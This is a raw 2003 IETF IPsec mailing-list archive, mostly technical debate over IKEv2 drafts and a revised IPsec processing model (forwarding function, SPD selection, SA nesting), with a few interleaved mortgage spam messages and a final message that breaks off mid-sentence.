Date: Sun, 3 Aug 2003 20:04:55 +0800 X-Mailer: Microsoft Outlook, Build 10.0.2616
DON'T LOSE ANY MORE MONEY ON YOUR EXISTING HOME LOAN!

hmm, okay so you want to save some money. take a look..

its a godsend, I have saved a fortune
you're placed up for auction and financers outbid each other on getting you the best deal on your mortgage!

From bjatho@email.com Mon Aug 4 08:49:00 2003 Received: from irene (adsl-sta-tpe-62-19-17.so-net.net.tw [61.62.19.17]) by above.proper.com (8.12.9/8.12.8) with SMTP id h74Fmwqt014204 for ; Mon, 4 Aug 2003 08:48:59 -0700 (PDT) (envelope-from bjatho@email.com) Message-Id: <200308041548.h74Fmwqt014204@above.proper.com> From: bjatho@email.com To: ietf-ipsec@imc.org Subject: heya Sender: bjatho@email.com Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Date: Mon, 4 Aug 2003 23:48:55 +0800 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
DON'T LOSE ANY MORE MONEY ON YOUR EXISTING HOME LOAN!

whats up. I thought you might be interested in this.

basically it's saved me a ton of money,
you're placed up for auction and financers outbid each other on getting you the best deal on your mortgage!

From owner-ipsec@lists.tislabs.com Mon Aug 4 09:05:36 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74G5Zqt015023; Mon, 4 Aug 2003 09:05:36 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA05410 Mon, 4 Aug 2003 11:12:44 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: MS IPR on ikev2-08 Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Mon, 04 Aug 2003 11:19:50 -0400 Message-ID: <17289.1060010390@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- http://www.ietf.org/ietf/IPR/microsoft-ipr-draft-ietf-ipsec-ikev2.txt claims something. I can't figure out what it is. Section 7 says nothing about the specifics either. I thought that IDs were supposed to list what the specific area was, but not who was claiming things. A royalty-free, RAND license that is *field specific*, is generally believed to be incompatible with the GPL. ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBPy55lIqHRg3pndX9AQFLeQP/fhB6oY1wU9nYsUog1WXJSlskiR4mSkHi nEpjQB9iSNCRckNvNXpU5nnDQtxvRis0Wp+oUGha7WDvP4wP+oDlCGsFJqVimvbp dmgR3csFL08AfNjv7wBtkt68tXHpFbU5mj2nU/nBK5B0YP4kqcEPCCnbRNvtbGH7 mWTyZr7SgXM= =PuE1 -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Mon Aug 4 10:02:30 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74H2Tqt017462; Mon, 4 Aug 2003 10:02:30 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id MAA05578 Mon, 4 Aug 2003 12:24:37 -0400 (EDT) Message-ID: <005101c35aa5$d6cf0120$554cc03f@netlock.com> From: "Neal Taylor" To: , References: Subject: Re: Proposed resolution to Issue 1 Date: Mon, 4 Aug 2003 09:31:19 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Charlie: > want to defer such sending. > .sp > The responder can be assured that the initiator is prepared to receive > messages on an SA if either (1) it has received a cryptographically valid > message on the new SA, or (2) the new SA rekeys an existing SA and it > receives an IKE request to close the replaced SA. Case (2) may happen for other reasons and so is not a reliable indicator that the initiator is ready to receive. These other reasons include the expiration of the SA lifetime during the rekeying process which could be the result of a poorly configured system or unexpectedly high data rates. _____________________________ Neal Taylor Netlock Technologies _____________________________ From brrl@erols.com Mon Aug 4 10:13:17 2003 Received: from user (216.c21.ethome.net.tw [210.58.21.216]) by above.proper.com (8.12.9/8.12.8) with SMTP id h74HDCqt017970 for ; Mon, 4 Aug 2003 10:13:16 -0700 (PDT) (envelope-from brrl@erols.com) Message-Id: <200308041713.h74HDCqt017970@above.proper.com> From: brrl@erols.com To: ietf-ipsec@imc.org Subject: hahaha Sender: brrl@erols.com Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Date: Tue, 5 Aug 2003 01:07:21 +0800 X-Mailer: Internet Mail Service (5.5.2650.21)
DON'T LOSE ANY MORE MONEY ON YOUR EXISTING HOME LOAN!

hiya! check this:

Don't pass up this amazing opportunity to change your life!
are you prepared for lower mortgage repayments?

From owner-ipsec@lists.tislabs.com Mon Aug 4 11:44:54 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74Iirqt025258; Mon, 4 Aug 2003 11:44:54 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA05978 Mon, 4 Aug 2003 14:06:21 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <5.2.0.9.0.20030802143907.01e64b18@localhost> References: <5.2.0.9.0.20030801095032.01ffc870@email> <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030724113200.01feed80@email> <5.2.0.9.0.20030731120622.02631138@email> <5.2.0.9.0.20030801095032.01ffc870@email> <5.2.0.9.0.20030802143907.01e64b18@localhost> Date: Mon, 4 Aug 2003 14:11:23 -0400 To: Mark Duffy From: Stephen Kent Subject: Re: revised IPsec processing model Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Mark, >Yes the SPD has always been bound to an interface, but that doesn't >mean it must always be so, and the model would be more flexible if >it were not so required. However, maybe this is just too big a >change to ask. If we want to consider that change, we should have folks on both side of the debate comment. >No matter what the standard says, it will be possible for someone to >apply the standard twice, or n times, in succession to a packet and >the probability approaches 1 that someone will do so. agreed, but non-complaint behavior should be something we can objectively identify. a standard for which one cannot describe a non-compliant implementation is not a useful standard (and, or course, the conevrse is true too!) >I'd propose that the standard should say that the requirement to >support nesting (as it existed in 2401) has been removed. And I >would just stop there. If folks really feel it is necessary to say >more, I would add a statement acknowledging that it is possible to >apply the standard iteratively to a given packet and that this will >have the effect of "nesting" SAs. I'm happy to say that we have removed the requirement re nesting, and also say that one can offer the feature via appropriate configuration of SPDs and forwarding tables within an implementation, but that there is no IKE support for this and thus care must be exercised in enabling this capability. Steve From owner-ipsec@lists.tislabs.com Mon Aug 4 12:15:48 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74JFlqt028769; Mon, 4 Aug 2003 12:15:47 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA06138 Mon, 4 Aug 2003 14:39:51 -0400 (EDT) Message-ID: <3F2EAA0F.7010707@americasm06.nt.com> Date: Mon, 04 Aug 2003 14:46:39 -0400 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: "Lakshminath Dondeti" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: ipsec@lists.tislabs.com Subject: transform type 5 in ui-suites-03 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi, Why is transform type 5 (Extended Sequence Numbers) excluded from Suite definitions in the ui-suites I-D? IKEv2-08 says "If Transform Type 5 is not included in a proposal, use of Extended Sequence Numbers is assumed." Thus a VPN-A proposal needs to send ESN=0 as part of the transforms. Thanks in advance for any insight into this. regards, Lakshminath From owner-ipsec@lists.tislabs.com Mon Aug 4 14:03:23 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74L3Nqt037700; Mon, 4 Aug 2003 14:03:23 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA06547 Mon, 4 Aug 2003 16:23:05 -0400 (EDT) Message-ID: <3F2EC241.4080902@isi.edu> Date: Mon, 04 Aug 2003 13:29:53 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030507 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent CC: Ricky Charlet , ipsec mailingList Subject: Re: revised IPsec processing model: Q: VID and forwarding function References: <682DFC4C-BA03-11D7-B9FF-00039349B0FC@speakeasy.net> In-Reply-To: X-Enigmail-Version: 0.74.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Stephen Kent wrote: > At 9:09 -0700 7/19/03, Ricky Charlet wrote: > >> Hello, >> >> I'm trying to understand the motivations for VIDs and explicit >> forwarding function separation. Currently, I am guessing (based on >> your first paragraph) that these new features enable PPVPNs and/or >> overlay networks. If so, how so? If not, what new functionality is >> enabled by these features? > > > There was a long series of off-list and post-WG meetings discussions > involving folks had expressed concern over how to modify IPsec > processing to better accommodate PPVPNs and overlay nets. The grouops > included Mark Duffy, Greg Lebovitz, and Joe Touch I developed this > model and vetted it with this group some months ago. FYI (all): At best, only the basic concept of doing a forwarding lookup was presented during a brief conversation at the Atlanta IETF; I cannot speak for the others, but this thread was the first I've seen of this proposal, and we certainly were not involved in developing it, or participating in a "long series" of meetings about it. I would not consider it 'vetted', but rather proposed at best. Even at that time Lars Eggert and I expressed significant concerns about this proposal. A brief summary of some of those concerns, to the extent that we could address them absent a detailed proposal, was discussed in section 4.1.3 as "Alternative 3" of the final update of our ID on the issue of support for dynamic routing in IPsec (draft-touch-ipsec-vpn-05.txt). Joe From owner-ipsec@lists.tislabs.com Mon Aug 4 14:07:04 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74L73qt037826; Mon, 4 Aug 2003 14:07:04 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA06566 Mon, 4 Aug 2003 16:29:57 -0400 (EDT) Message-ID: <3F2EC3DC.6010803@isi.edu> Date: Mon, 04 Aug 2003 13:36:44 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030507 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent CC: Mark Duffy , ipsec@lists.tislabs.com Subject: Re: revised IPsec processing model References: <5.2.0.9.0.20030724113200.01feed80@email> In-Reply-To: X-Enigmail-Version: 0.74.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi, all, Stephen Kent wrote: > Mark, > > responses inline to your comments: > > > >> Regarding the virtual interface and the forwarding function: >> >> A close reading shows that the "forwarding function" may be an >> arbitrary function of the packet (and hopefully of meta-information >> about the packet, such as where it was received from). However, the >> term itself is fairly loaded and will suggest >> destination-address-based IP forwarding to many readers. Moreover, >> 2401bis should IMO permit a separation between where a packet is >> forwarded to, and what SPD is applied to it. This for example to >> support a device that has one uplink to the Internet and provides >> protection for different LANs using different SPDs: in this case the >> SPD to use for outbound processing might be implied by the interface >> the packet came in on rather than by the interface it goes out on. > > The intent is that the forwarding function can use any data from the > packet. I'm open to suggestions for other names for the function, but I > think Joe Touch suggested this one, and he definitely intended it to > cover the broader set of possible inputs. FYI, we call it forwarding since it would do what IP forwarding does. However, note that IP forwarding, as we have pointed out before, involves more than finding the outgoing interface. Consider a system: c / a----b \ d Where a packet comes from 'a' and goes many hops downstream of 'c' or 'd', where c,d are the nexthops from b. It is possible that c and d are on the same LAN as b, e.g., an FDDI ring or ethernet switch at a POP. In that case, regardless of whether c or d is chosen, the packet will have the same outgoing interface. Outgoing interface alone will be insufficient to support dynamic routing. As we have observed before, IP forwarding specifies both the outgoing interface and the next-hop IP address; both are required to specify the appropriate database. However, as our ID points out, this is a cumbersome solution compared to the alternatives. Joe From owner-ipsec@lists.tislabs.com Mon Aug 4 14:15:51 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74LFoqt038196; Mon, 4 Aug 2003 14:15:50 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA06635 Mon, 4 Aug 2003 16:42:38 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F2EC3DC.6010803@isi.edu> References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> Date: Mon, 4 Aug 2003 16:48:41 -0400 To: Joe Touch From: Stephen Kent Subject: Re: revised IPsec processing model Cc: Mark Duffy , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 13:36 -0700 8/4/03, Joe Touch wrote: >Hi, all, > >Stephen Kent wrote: >>Mark, >> >>responses inline to your comments: >> >> >> >>>Regarding the virtual interface and the forwarding function: >>> >>>A close reading shows that the "forwarding function" may be an >>>arbitrary function of the packet (and hopefully of >>>meta-information about the packet, such as where it was received >>>from). However, the term itself is fairly loaded and will suggest >>>destination-address-based IP forwarding to many readers. >>>Moreover, 2401bis should IMO permit a separation between where a >>>packet is forwarded to, and what SPD is applied to it. This for >>>example to support a device that has one uplink to the Internet >>>and provides protection for different LANs using different SPDs: >>>in this case the SPD to use for outbound processing might be >>>implied by the interface the packet came in on rather than by the >>>interface it goes out on. >> >>The intent is that the forwarding function can use any data from >>the packet. I'm open to suggestions for other names for the >>function, but I think Joe Touch suggested this one, and he >>definitely intended it to cover the broader set of possible inputs. > >FYI, we call it forwarding since it would do what IP forwarding >does. However, note that IP forwarding, as we have pointed out >before, involves more than finding the outgoing interface. > >Consider a system: > > c > / > a----b > \ > d > >Where a packet comes from 'a' and goes many hops downstream of 'c' >or 'd', where c,d are the nexthops from b. It is possible that c and >d are on the same LAN as b, e.g., an FDDI ring or ethernet switch at >a POP. > >In that case, regardless of whether c or d is chosen, the packet >will have the same outgoing interface. Outgoing interface alone will >be insufficient to support dynamic routing. > >As we have observed before, IP forwarding specifies both the >outgoing interface and the next-hop IP address; both are required to >specify the appropriate database. > >However, as our ID points out, this is a cumbersome solution >compared to the alternatives. Joe, Cumbersome is in the eye of the beholder :-). The other folks who participated in the discussions, who are vendors, did not seem to agree with the overlay net model you & Lars proposed. Also, that model seems narrowly focused on end system, vs. SG or BITW, implementations. It is preferable to have a simple model that is generally applicable, and that's what we have strived to achieve. Steve From owner-ipsec@lists.tislabs.com Mon Aug 4 14:16:45 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74LGjqt038241; Mon, 4 Aug 2003 14:16:45 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA06630 Mon, 4 Aug 2003 16:42:36 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F2EC241.4080902@isi.edu> References: <682DFC4C-BA03-11D7-B9FF-00039349B0FC@speakeasy.net> <3F2EC241.4080902@isi.edu> Date: Mon, 4 Aug 2003 16:48:47 -0400 To: Joe Touch From: Stephen Kent Subject: Re: revised IPsec processing model: Q: VID and forwarding function Cc: Ricky Charlet , ipsec mailingList Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 13:29 -0700 8/4/03, Joe Touch wrote: >Stephen Kent wrote: >>At 9:09 -0700 7/19/03, Ricky Charlet wrote: >> >>>Hello, >>> >>> I'm trying to understand the motivations for VIDs and explicit >>>forwarding function separation. Currently, I am guessing (based on >>>your first paragraph) that these new features enable PPVPNs and/or >>>overlay networks. If so, how so? If not, what new functionality is >>>enabled by these features? >> >> >>There was a long series of off-list and post-WG meetings >>discussions involving folks had expressed concern over how to >>modify IPsec processing to better accommodate PPVPNs and overlay >>nets. The grouops included Mark Duffy, Greg Lebovitz, and Joe >>Touch I developed this model and vetted it with this group some >>months ago. > >FYI (all): > >At best, only the basic concept of doing a forwarding lookup was >presented during a brief conversation at the Atlanta IETF; I cannot >speak for the others, but this thread was the first I've seen of >this proposal, and we certainly were not involved in developing it, >or participating in a "long series" of meetings about it. Joe, sorry for the confusion caused by a misplaced "s" in the above text. My message was supposed to refer to "post-WG meeting discussions." I think others who read the message interpreted my typo as I had intended, and as restated, it is accurate. I did not mean to suggest that there were a set of post-WG meetings among the interested parties. We did, however, exchange a number of e-mail messages on the topic. >I would not consider it 'vetted', but rather proposed at best. Even >at that time Lars Eggert and I expressed significant concerns about >this proposal. > >A brief summary of some of those concerns, to the extent that we >could address them absent a detailed proposal, was discussed in >section 4.1.3 as "Alternative 3" of the final update of our ID on >the issue of support for dynamic routing in IPsec >(draft-touch-ipsec-vpn-05.txt). My view is that the majority of the participants in the discussions found it an acceptable model, but you and Lars did not. rough consensus? Steve From owner-ipsec@lists.tislabs.com Mon Aug 4 14:23:58 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74LNvqt038506; Mon, 4 Aug 2003 14:23:57 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA06664 Mon, 4 Aug 2003 16:49:04 -0400 (EDT) Message-ID: <3F2EC870.4010102@isi.edu> Date: Mon, 04 Aug 2003 13:56:16 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent CC: Ricky Charlet , ipsec mailingList Subject: Re: revised IPsec processing model: Q: VID and forwarding function References: <682DFC4C-BA03-11D7-B9FF-00039349B0FC@speakeasy.net> <3F2EC241.4080902@isi.edu> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Stephen Kent wrote: > At 13:29 -0700 8/4/03, Joe Touch wrote: > >> Stephen Kent wrote: >> >>> At 9:09 -0700 7/19/03, Ricky Charlet wrote: >>> >>>> Hello, >>>> >>>> I'm trying to understand the motivations for VIDs and explicit >>>> forwarding function separation. Currently, I am guessing (based on >>>> your first paragraph) that these new features enable PPVPNs and/or >>>> overlay networks. If so, how so? If not, what new functionality is >>>> enabled by these features? >>> >>> >>> >>> There was a long series of off-list and post-WG meetings discussions >>> involving folks had expressed concern over how to modify IPsec >>> processing to better accommodate PPVPNs and overlay nets. The grouops >>> included Mark Duffy, Greg Lebovitz, and Joe Touch I developed this >>> model and vetted it with this group some months ago. >> >> >> FYI (all): >> >> At best, only the basic concept of doing a forwarding lookup was >> presented during a brief conversation at the Atlanta IETF; I cannot >> speak for the others, but this thread was the first I've seen of this >> proposal, and we certainly were not involved in developing it, or >> participating in a "long series" of meetings about it. > > Joe, sorry for the confusion caused by a misplaced "s" in the above > text. My message was supposed to refer to "post-WG meeting > discussions." I think others who read the message interpreted my typo > as I had intended, and as restated, it is accurate. I did not mean to > suggest that there were a set of post-WG meetings among the interested > parties. We did, however, exchange a number of e-mail messages on the > topic. Agreed. >> I would not consider it 'vetted', but rather proposed at best. Even at >> that time Lars Eggert and I expressed significant concerns about this >> proposal. >> >> A brief summary of some of those concerns, to the extent that we could >> address them absent a detailed proposal, was discussed in section >> 4.1.3 as "Alternative 3" of the final update of our ID on the issue of >> support for dynamic routing in IPsec (draft-touch-ipsec-vpn-05.txt). > > My view is that the majority of the participants in the discussions > found it an acceptable model, but you and Lars did not. rough consensus? I recall only 1-2 other participants in those meetings; it was a quick chat over the break, as I recall as well. I wouldn't consider that brief discussion sufficient for anyone to establish consensus, certainly not based on the absence of detail at that time. Joe From owner-ipsec@lists.tislabs.com Mon Aug 4 14:26:54 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74LQsqt038629; Mon, 4 Aug 2003 14:26:54 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA06688 Mon, 4 Aug 2003 16:53:29 -0400 (EDT) Message-ID: <3F2EC97D.5050800@isi.edu> Date: Mon, 04 Aug 2003 14:00:45 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent CC: Mark Duffy , ipsec@lists.tislabs.com Subject: Re: revised IPsec processing model References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Stephen Kent wrote: > At 13:36 -0700 8/4/03, Joe Touch wrote: > >> Hi, all, >> >> Stephen Kent wrote: >> >>> Mark, >>> >>> responses inline to your comments: >>> >>> >>> >>>> Regarding the virtual interface and the forwarding function: >>>> >>>> A close reading shows that the "forwarding function" may be an >>>> arbitrary function of the packet (and hopefully of meta-information >>>> about the packet, such as where it was received from). However, the >>>> term itself is fairly loaded and will suggest >>>> destination-address-based IP forwarding to many readers. Moreover, >>>> 2401bis should IMO permit a separation between where a packet is >>>> forwarded to, and what SPD is applied to it. This for example to >>>> support a device that has one uplink to the Internet and provides >>>> protection for different LANs using different SPDs: in this case the >>>> SPD to use for outbound processing might be implied by the interface >>>> the packet came in on rather than by the interface it goes out on. >>> >>> >>> The intent is that the forwarding function can use any data from the >>> packet. I'm open to suggestions for other names for the function, but >>> I think Joe Touch suggested this one, and he definitely intended it >>> to cover the broader set of possible inputs. >> >> >> FYI, we call it forwarding since it would do what IP forwarding does. >> However, note that IP forwarding, as we have pointed out before, >> involves more than finding the outgoing interface. >> >> Consider a system: >> >> c >> / >> a----b >> \ >> d >> >> Where a packet comes from 'a' and goes many hops downstream of 'c' or >> 'd', where c,d are the nexthops from b. It is possible that c and d >> are on the same LAN as b, e.g., an FDDI ring or ethernet switch at a POP. >> >> In that case, regardless of whether c or d is chosen, the packet will >> have the same outgoing interface. Outgoing interface alone will be >> insufficient to support dynamic routing. >> >> As we have observed before, IP forwarding specifies both the outgoing >> interface and the next-hop IP address; both are required to specify >> the appropriate database. >> >> However, as our ID points out, this is a cumbersome solution compared >> to the alternatives. > > > Joe, > > Cumbersome is in the eye of the beholder :-). > > The other folks who participated in the discussions, who are vendors, > did not seem to agree with the overlay net model you & Lars proposed. Having just participated in one such meeting in the U.K., at least one major vendor is prescribing our model as a preferred solution. > Also, that model seems narrowly focused on end system, vs. SG or BITW, > implementations. It is preferable to have a simple model that is > generally applicable, and that's what we have strived to achieve. I certainly appreciate, as you have observed, that our perspective is end-system based. You have also noted: > ...I am not knowledgeable enough about the details of host > implementations to have provided an answer like this. It would be useful at least if this proposal could be vetted with a working implementation on both a router and an end host before being considered as such a major modification to the architecture. ----------- One other question: What happens to packets when the IPsec-time forwarding lookup differs from the forwarding that actually happens when the packet would be emitted? I.e., it seems possible that if I had weak or no encryption on one link, that it might be possible to leak such packets out onto a link that I needed strong protection on. If this is not the case, a specific example would help. Joe From owner-ipsec@lists.tislabs.com Mon Aug 4 14:35:47 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74LZlqt039086; Mon, 4 Aug 2003 14:35:47 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA06717 Mon, 4 Aug 2003 16:57:34 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F2EC870.4010102@isi.edu> References: <682DFC4C-BA03-11D7-B9FF-00039349B0FC@speakeasy.net> <3F2EC241.4080902@isi.edu> <3F2EC870.4010102@isi.edu> Date: Mon, 4 Aug 2003 17:04:20 -0400 To: Joe Touch From: Stephen Kent Subject: Re: revised IPsec processing model: Q: VID and forwarding function Cc: Ricky Charlet , ipsec mailingList Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk >>>I would not consider it 'vetted', but rather proposed at best. >>>Even at that time Lars Eggert and I expressed significant concerns >>>about this proposal. >>> >>>A brief summary of some of those concerns, to the extent that we >>>could address them absent a detailed proposal, was discussed in >>>section 4.1.3 as "Alternative 3" of the final update of our ID on >>>the issue of support for dynamic routing in IPsec >>>(draft-touch-ipsec-vpn-05.txt). >> >>My view is that the majority of the participants in the discussions >>found it an acceptable model, but you and Lars did not. rough >>consensus? > >I recall only 1-2 other participants in those meetings; it was a >quick chat over the break, as I recall as well. I wouldn't consider >that brief discussion sufficient for anyone to establish consensus, >certainly not based on the absence of detail at that time. > >Joe I was referring to the e-mail messages that were exchanged over a several month period, during which I proposed the model, not to any in-person discussions. Again, I apologize for the ambiguity of the reference to "discussions." Steve From owner-ipsec@lists.tislabs.com Mon Aug 4 16:33:51 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h74NXoqt045754; Mon, 4 Aug 2003 16:33:50 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA07517 Mon, 4 Aug 2003 18:54:39 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F2EC97D.5050800@isi.edu> References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> Date: Mon, 4 Aug 2003 19:01:22 -0400 To: Joe Touch From: Stephen Kent Subject: Re: revised IPsec processing model Cc: Mark Duffy , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 14:00 -0700 8/4/03, Joe Touch wrote: >> >>Joe, >> >>Cumbersome is in the eye of the beholder :-). >> >>The other folks who participated in the discussions, who are >>vendors, did not seem to agree with the overlay net model you & >>Lars proposed. > >Having just participated in one such meeting in the U.K., at least >one major vendor is prescribing our model as a preferred solution. OK. > >>Also, that model seems narrowly focused on end system, vs. SG or >>BITW, implementations. It is preferable to have a simple model >>that is generally applicable, and that's what we have strived to >>achieve. > >I certainly appreciate, as you have observed, that our perspective >is end-system based. You have also noted: > >>...I am not knowledgeable enough about the details of host > > implementations to have provided an answer like this. > >It would be useful at least if this proposal could be vetted with a >working implementation on both a router and an end host before being >considered as such a major modification to the architecture. After that exchange, two folks with knowledge of host OS internals, and who are implementors of IPv6 and IPsec, confirmed that they saw no problems with the proposed processing model via messages to the list. Two individuals have told me privately, in the last few weeks, that their implementations are equivalent to the processing model, in person or in e-mails. I do not agree that there needs to be working examples before we proceed with a new version of 2401, although I think I am hearing that there will be several in the near future. >----------- > >One other question: > >What happens to packets when the IPsec-time forwarding lookup >differs from the forwarding that actually happens when the packet >would be emitted? > >I.e., it seems possible that if I had weak or no encryption on one >link, that it might be possible to leak such packets out onto a link >that I needed strong protection on. If this is not the case, a >specific example would help. If I understand correctly, your concern is that there could be a mismatch between an SPD lookup that maps a packet to a interface that is deemed implicitly secure and thus does not warrant IPsec protection, but a later forwarding decision that puts the packet out over a link that does warrant protection. Is that right? I certainly agree that this would be a "bad thing" and one must configure the SPDs and the forwarding tables to avoid the problem. If we allow the first forwarding table to select the appropriate SPD, then we have to rely on that forwarding function to operate correctly, IF we allow any sensitive traffic to be emitted without IPsec protection on ANY link. Otherwise, the first forwarding lookup could map the traffic to an SPD that allowed bypass such traffic for a specific interface, but then the traffic could be emitted via a different interface, thus defeating the intent of the policy specification. Also, if the SPD does allow 